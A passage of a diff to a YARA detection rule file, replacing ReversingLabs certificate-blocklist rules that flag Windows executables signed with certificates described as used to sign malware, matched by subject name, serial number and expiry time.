0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Elite Web Development Ltd." and ( pe.signatures [ i ] . serial == "00:6c:fa:50:50:c8:19:c4:ac:bb:8f:a7:59:79:68:8d:ff" or pe.signatures [ i ] . serial == "6c:fa:50:50:c8:19:c4:ac:bb:8f:a7:59:79:68:8d:ff" ) and 1600176940 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_25C6Dbce3D5499F65D9Df16E9007465D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_044E05Bb1A01A1Cbb50Cfb6Cd24E5D6B : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f6d0808d-4748-5b9f-9be2-7753292a6209" + id = "c0796bc3-96cd-5d12-a0ee-97d8ed4a3076" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12312-L12328" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6310-L6326" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "978f05f86734c63afe1e5929a58f3cfff75ef749ffda07252db90b6fe12508ec" + logic_hash = "40c80d3b6bedb0b3454e14501745a6e82b6ea9ac202748867a2e937fb79c6f6c" score = 75 quality = 90 tags = "INFO, FILE" @@ -23525,21 +45919,21 @@ rule REVERSINGLABS_Cert_Blocklist_25C6Dbce3D5499F65D9Df16E9007465D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AMCERT,LLC" and pe.signatures [ i ] . serial == "25:c6:db:ce:3d:54:99:f6:5d:9d:f1:6e:90:07:46:5d" and 1626566400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MUSTER PLUS SP Z O O" and pe.signatures [ i ] . serial == "04:4e:05:bb:1a:01:a1:cb:b5:0c:fb:6c:d2:4e:5d:6b" and 1601427600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Bc6A1812E001362469541108973Bbd52 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B7F19B13De9Bee8A52Ff365Ced6F67Fa : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ac5ac6d7-898b-5547-8d35-a483f20edcd6" + id = "0e7e235e-3f0b-5396-9c19-9336d9cbb95a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12330-L12348" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6328-L6346" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9b678e9fb1e1eda3ac8e027b5e449af446de4379fea46ef7ff820240c73795ee" + logic_hash = "a8d2a92b44cdd7b123907a6a77ba0fc9fde4961f9ac846b36f1e87730a1efae6" score = 75 quality = 90 tags = "INFO, FILE" @@ -23549,21 +45943,21 @@ rule REVERSINGLABS_Cert_Blocklist_Bc6A1812E001362469541108973Bbd52 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AMCERT,LLC" and ( pe.signatures [ i ] . serial == "00:bc:6a:18:12:e0:01:36:24:69:54:11:08:97:3b:bd:52" or pe.signatures [ i ] . serial == "bc:6a:18:12:e0:01:36:24:69:54:11:08:97:3b:bd:52" ) and 1623801600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ALEXIS SECURITY GROUP, LLC" and ( pe.signatures [ i ] . serial == "00:b7:f1:9b:13:de:9b:ee:8a:52:ff:36:5c:ed:6f:67:fa" or pe.signatures [ i ] . serial == "b7:f1:9b:13:de:9b:ee:8a:52:ff:36:5c:ed:6f:67:fa" ) and 1574914319 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Bde1D6Dc3622724F427A39E6A34F5124 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B61B8E71514059Adc604Da05C283E514 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6b6958c0-3b43-5c17-9354-d0e2326b97fd" + id = "2587d30d-e9c8-599c-9cc4-4d4a7aa83c34" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12350-L12368" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6348-L6366" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f1cf0b6855269a771447a0b38f4a02996b6527d7df4b143b69598ed591719ca0" + logic_hash = "1255cef74082c9cad41ac8e7d62e740f69e6ba44171bb45655a68ee5db204e57" score = 75 quality = 90 tags = "INFO, FILE" @@ -23573,21 +45967,21 @@ rule REVERSINGLABS_Cert_Blocklist_Bde1D6Dc3622724F427A39E6A34F5124 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AMCERT,LLC" and ( pe.signatures [ i ] . serial == "00:bd:e1:d6:dc:36:22:72:4f:42:7a:39:e6:a3:4f:51:24" or pe.signatures [ i ] . serial == "bd:e1:d6:dc:36:22:72:4f:42:7a:39:e6:a3:4f:51:24" ) and 1628553600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "APP DIVISION ApS" and ( pe.signatures [ i ] . serial == "00:b6:1b:8e:71:51:40:59:ad:c6:04:da:05:c2:83:e5:14" or pe.signatures [ i ] . serial == "b6:1b:8e:71:51:40:59:ad:c6:04:da:05:c2:83:e5:14" ) and 1603328400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5C9F5F96726A6E6Fc3B8Bb153Ac82Af2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Ece6Cbf67Dc41635A5E5D075F286Af23 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f7619c39-33a0-5f99-b911-9d8a61a4683d" + id = "3e451a5a-835b-572d-ab17-ff52d3614a86" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12370-L12386" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6368-L6386" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a61bcc4a90a75a429366e3f93929005b67325eccc6cad3df6b7a0c3692597828" + logic_hash = "f560e6f4a65eaac8db1d8accb0748de17048e66ccf989468e6350a3ec1d70dc8" score = 75 quality = 90 tags = "INFO, FILE" @@ -23597,21 +45991,21 @@ rule REVERSINGLABS_Cert_Blocklist_5C9F5F96726A6E6Fc3B8Bb153Ac82Af2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "1105 SOFTWARE LLC" and pe.signatures [ i ] . serial == "5c:9f:5f:96:72:6a:6e:6f:c3:b8:bb:15:3a:c8:2a:f2" and 1679061408 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "THRANE AGENTUR ApS" and ( pe.signatures [ i ] . serial == "00:ec:e6:cb:f6:7d:c4:16:35:a5:e5:d0:75:f2:86:af:23" or pe.signatures [ i ] . serial == "ec:e6:cb:f6:7d:c4:16:35:a5:e5:d0:75:f2:86:af:23" ) and 1603369254 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6E889Bb3B7F7194B674C6A0335A608E0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_014A98D697B44F43Ded21F18Eb6Ad0Ba : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d164846d-9552-5108-8b01-1b4b3e7c0b60" + id = "4fcd4e89-658c-593b-8f94-edd5df19da6e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12388-L12404" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6388-L6404" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fa2a47f4fb822089fcc958850ce516c8c5d95a6d9b575f3b1d1d4a2ceb2537e4" + logic_hash = "9f1cc61b944974696113912bc1d1a0b45b9911fa4d6de382a48c0d22d2d20953" score = 75 quality = 90 tags = "INFO, FILE" @@ -23621,21 +46015,21 @@ rule REVERSINGLABS_Cert_Blocklist_6E889Bb3B7F7194B674C6A0335A608E0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CLEVERCONTROL LLC" and pe.signatures [ i ] . serial == "6e:88:9b:b3:b7:f7:19:4b:67:4c:6a:03:35:a6:08:e0" and 1646956800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Hillcoe Software Inc." and pe.signatures [ i ] . serial == "01:4a:98:d6:97:b4:4f:43:de:d2:1f:18:eb:6a:d0:ba" and 1605364760 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0F62F760704Bdf8Dc30C7Baa7376F484 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_063A7D09107Eddd8Aa1F733634C6591B : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "fe326fb9-fe1e-5fc9-8599-6b4cfd6506dd" + id = "0169cf47-72b0-53ec-bc8f-c2a80febad3a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12406-L12422" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6406-L6422" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d54d52e116b9404782ce80664f218d2e142577dac672c53c41b82f0466c7375a" + logic_hash = "19f11e1d9ce95eb4bc75387a0118c230388a13cd07b02e00ea1d65cdcc0b2bd7" score = 75 quality = 90 tags = "INFO, FILE" @@ -23645,21 +46039,21 @@ rule REVERSINGLABS_Cert_Blocklist_0F62F760704Bdf8Dc30C7Baa7376F484 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Shanghai XuSong investment partnership Enterprise(Limited)" and pe.signatures [ i ] . serial == "0f:62:f7:60:70:4b:df:8d:c3:0c:7b:aa:73:76:f4:84" and 1659398400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Smart Line Logistics" and pe.signatures [ i ] . serial == "06:3a:7d:09:10:7e:dd:d8:aa:1f:73:36:34:c6:59:1b" and 1605712706 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_071202Dbfda40B629C5E7Acac947C2D3 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1E74Cfe7De8C5F57840A61034414Ca9F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4206c383-0e6d-5129-8e6a-05bd54c48e65" + id = "d7fd0c3f-0292-5d27-b8e6-559b829440b4" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12424-L12440" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6424-L6442" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cc51b0ae6a59f68e61ee0b4ff33ea0e1ee9ef04e4c994e1c98da6befab62a5b9" + logic_hash = "d82220d908283f1707ec15882503b02cb8dc80095279a9e7d6cbdd113c25d8ae" score = 75 quality = 90 tags = "INFO, FILE" @@ -23669,21 +46063,21 @@ rule REVERSINGLABS_Cert_Blocklist_071202Dbfda40B629C5E7Acac947C2D3 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Crossfire Industries, LLC" and pe.signatures [ i ] . serial == "07:12:02:db:fd:a4:0b:62:9c:5e:7a:ca:c9:47:c2:d3" and 1658620801 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Insta Software Solution Inc." and ( pe.signatures [ i ] . serial == "00:1e:74:cf:e7:de:8c:5f:57:84:0a:61:03:44:14:ca:9f" or pe.signatures [ i ] . serial == "1e:74:cf:e7:de:8c:5f:57:84:0a:61:03:44:14:ca:9f" ) and 1601733106 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_98Ab9585C04D7F0E4Cf4De98C14B684D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_75Cf729F8A740Bbdef183A1C4D86A02F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "445bb30e-e021-5a75-a47e-29fa567acfa5" + id = "e96fdf57-3884-526e-a704-93e783c95241" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12442-L12460" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6444-L6460" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ba43dd15b13623bb99d88c93fb9e751deb95a546325a1142d9137b25430d07fd" + logic_hash = "691fadaa653ecd29e60f2db39b7c5154d7c85f388f72eccd0a4b5fe42eaee0dd" score = 75 quality = 90 tags = "INFO, FILE" @@ -23693,21 +46087,21 @@ rule REVERSINGLABS_Cert_Blocklist_98Ab9585C04D7F0E4Cf4De98C14B684D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AMCERT,LLC" and ( pe.signatures [ i ] . serial == "00:98:ab:95:85:c0:4d:7f:0e:4c:f4:de:98:c1:4b:68:4d" or pe.signatures [ i ] . serial == "98:ab:95:85:c0:4d:7f:0e:4c:f4:de:98:c1:4b:68:4d" ) and 1656547200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Umbor LLC" and pe.signatures [ i ] . serial == "75:cf:72:9f:8a:74:0b:bd:ef:18:3a:1c:4d:86:a0:2f" and 1604223894 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4631713E66E91347F0388B98Cf747794 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2F64677254D3844Efdac2922123D05D1 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6c541522-98ab-5acb-af84-c005c9721e1f" + id = "de9ef02d-a723-5013-9f91-e394edc23855" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12462-L12478" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6462-L6478" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cb517cda67150b7e17ee3bd946903e8e8eca81742a362032249a2f2387e71c50" + logic_hash = "f9f1f629e03563ece0fe5186b199e2f030dce7f58fb259de1aeb7387c76fa902" score = 75 quality = 90 tags = "INFO, FILE" @@ -23717,21 +46111,21 @@ rule REVERSINGLABS_Cert_Blocklist_4631713E66E91347F0388B98Cf747794 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE5\\xB9\\xBF\\xE5\\xB7\\x9E\\xE6\\x98\\x8A\\xE5\\x8A\\xA8\\xE7\\xBD\\x91\\xE7\\xBB\\x9C\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "46:31:71:3e:66:e9:13:47:f0:38:8b:98:cf:74:77:94" and 1488240000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ORGANICUP ApS" and pe.signatures [ i ] . serial == "2f:64:67:72:54:d3:84:4e:fd:ac:29:22:12:3d:05:d1" and 1605640092 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_E963F8983D21B4C1A69C66A9D37498E5 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_32Fbf8Cfa43Dca3F85Efabe96Dfefa49 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4cbc6cc9-1795-5d43-84a1-dd835d7ef349" + id = "22bd8590-7a95-564c-ad77-fb20569de51d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12480-L12498" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6480-L6496" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b7c715e28f003351d10ba53657e9e667b635a0e4433276d91d26f4482a61191d" + logic_hash = "73d80e6a0dc2316524a55a9627792b9b4488d238ef529f1767de182956b0865e" score = 75 quality = 90 tags = "INFO, FILE" @@ -23741,21 +46135,21 @@ rule REVERSINGLABS_Cert_Blocklist_E963F8983D21B4C1A69C66A9D37498E5 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Max Steinhard" and ( pe.signatures [ i ] . serial == "00:e9:63:f8:98:3d:21:b4:c1:a6:9c:66:a9:d3:74:98:e5" or pe.signatures [ i ] . serial == "e9:63:f8:98:3d:21:b4:c1:a6:9c:66:a9:d3:74:98:e5" ) and 1656288000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Foxstyle LLC" and pe.signatures [ i ] . serial == "32:fb:f8:cf:a4:3d:ca:3f:85:ef:ab:e9:6d:fe:fa:49" and 1598255906 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6E44Fcedd49F22F7A28Cecc99104F61A : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Ef9D0Cf071D463Cd63D13083046A7B8D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b69a4e06-a732-5462-b2b1-bdde3fd34e31" + id = "8751f71b-0ebb-5820-927c-684a5ae5ee7b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12500-L12516" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6498-L6516" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "caff0cbca45c0dffb673367585824783371f2f4e31a0c9629afb7de708098892" + logic_hash = "2923979811504f78a79a2480600285a2697845e51870a44ed231a81e79807121" score = 75 quality = 90 tags = "INFO, FILE" @@ -23765,21 +46159,21 @@ rule REVERSINGLABS_Cert_Blocklist_6E44Fcedd49F22F7A28Cecc99104F61A : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "M-Trans Maciej Caban" and pe.signatures [ i ] . serial == "6e:44:fc:ed:d4:9f:22:f7:a2:8c:ec:c9:91:04:f6:1a" and 1672923378 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Rubin LLC" and ( pe.signatures [ i ] . serial == "00:ef:9d:0c:f0:71:d4:63:cd:63:d1:30:83:04:6a:7b:8d" or pe.signatures [ i ] . serial == "ef:9d:0c:f0:71:d4:63:cd:63:d1:30:83:04:6a:7b:8d" ) and 1605358307 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_35B49Ee870Aea532E6Ef0A4987105C8F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_115Cf1353A0E33E19099A4867A4C750A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "88dedb69-52f4-59d3-b397-6a091a866cc5" + id = "c2564461-6731-5d7b-8dbb-560929b568d0" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12518-L12534" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6518-L6536" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a9d8e9db453f40e32a0cb6412db8885db54053fdf3d7908b884361a493f97b1f" + logic_hash = "2a3353c655531b113dc019a86288310881e3bbcb6c03670a805f22b185e09e6c" score = 75 quality = 90 tags = "INFO, FILE" @@ -23789,21 +46183,21 @@ rule REVERSINGLABS_Cert_Blocklist_35B49Ee870Aea532E6Ef0A4987105C8F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Kancelaria Adwokacka Adwokat Aleksandra Krzemi\\xC5\\x84ska" and pe.signatures [ i ] . serial == "35:b4:9e:e8:70:ae:a5:32:e6:ef:0a:49:87:10:5c:8f" and 1663151018 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "212 NY Gifts, Inc." and ( pe.signatures [ i ] . serial == "00:11:5c:f1:35:3a:0e:33:e1:90:99:a4:86:7a:4c:75:0a" or pe.signatures [ i ] . serial == "11:5c:f1:35:3a:0e:33:e1:90:99:a4:86:7a:4c:75:0a" ) and 1605515909 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_063Dcd7D7B0Bc77Cac844C7213Be3989 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5Cf3778Bb11115A884E192A7Cb807599 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1bf4b84b-4a32-5908-8ccb-9fce2e5944e6" + id = "cd643ad5-254a-5c53-a6f2-b263ff539cd3" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12536-L12552" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6538-L6556" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "091d00b0731f0a3d9917eee945249f001e4b5b1b603cad2fc21eed70ec86aa99" + logic_hash = "4242ef4a30bb09463ec5a6df9367915788a2aa782df6c463bcf966d2aad63c1d" score = 75 quality = 90 tags = "INFO, FILE" @@ -23813,21 +46207,21 @@ rule REVERSINGLABS_Cert_Blocklist_063Dcd7D7B0Bc77Cac844C7213Be3989 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HANNAH SISK LIMITED" and pe.signatures [ i ] . serial == "06:3d:cd:7d:7b:0b:c7:7c:ac:84:4c:72:13:be:39:89" and 1656892801 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SLOMATIC d.o.o." and ( pe.signatures [ i ] . serial == "00:5c:f3:77:8b:b1:11:15:a8:84:e1:92:a7:cb:80:75:99" or pe.signatures [ i ] . serial == "5c:f3:77:8b:b1:11:15:a8:84:e1:92:a7:cb:80:75:99" ) and 1605006199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6F8777Aa866142Ad7120E5E1C9321E37 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_82Cb93593B658100Cdd7A00C874287F2 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ace8a8b4-5288-56c4-bd47-9eb42ea41ecb" + id = "85df653a-a4a3-5d0e-86f4-cad0249cd3d3" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12554-L12570" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6558-L6576" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ca3ff0c7192ba90932d35d053712816555dea051ce15d29a7ccf4e37da989899" + logic_hash = "c77881e0365c9fc398097d0b6e077330a5f0fcbb53279bfde96b3c01df914c55" score = 75 quality = 90 tags = "INFO, FILE" @@ -23837,21 +46231,21 @@ rule REVERSINGLABS_Cert_Blocklist_6F8777Aa866142Ad7120E5E1C9321E37 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CLOUD SOFTWARE LINE CO., LTD." and pe.signatures [ i ] . serial == "6f:87:77:aa:86:61:42:ad:71:20:e5:e1:c9:32:1e:37" and 1629676800 <= pe.signatures [ i ] . not_after ) + 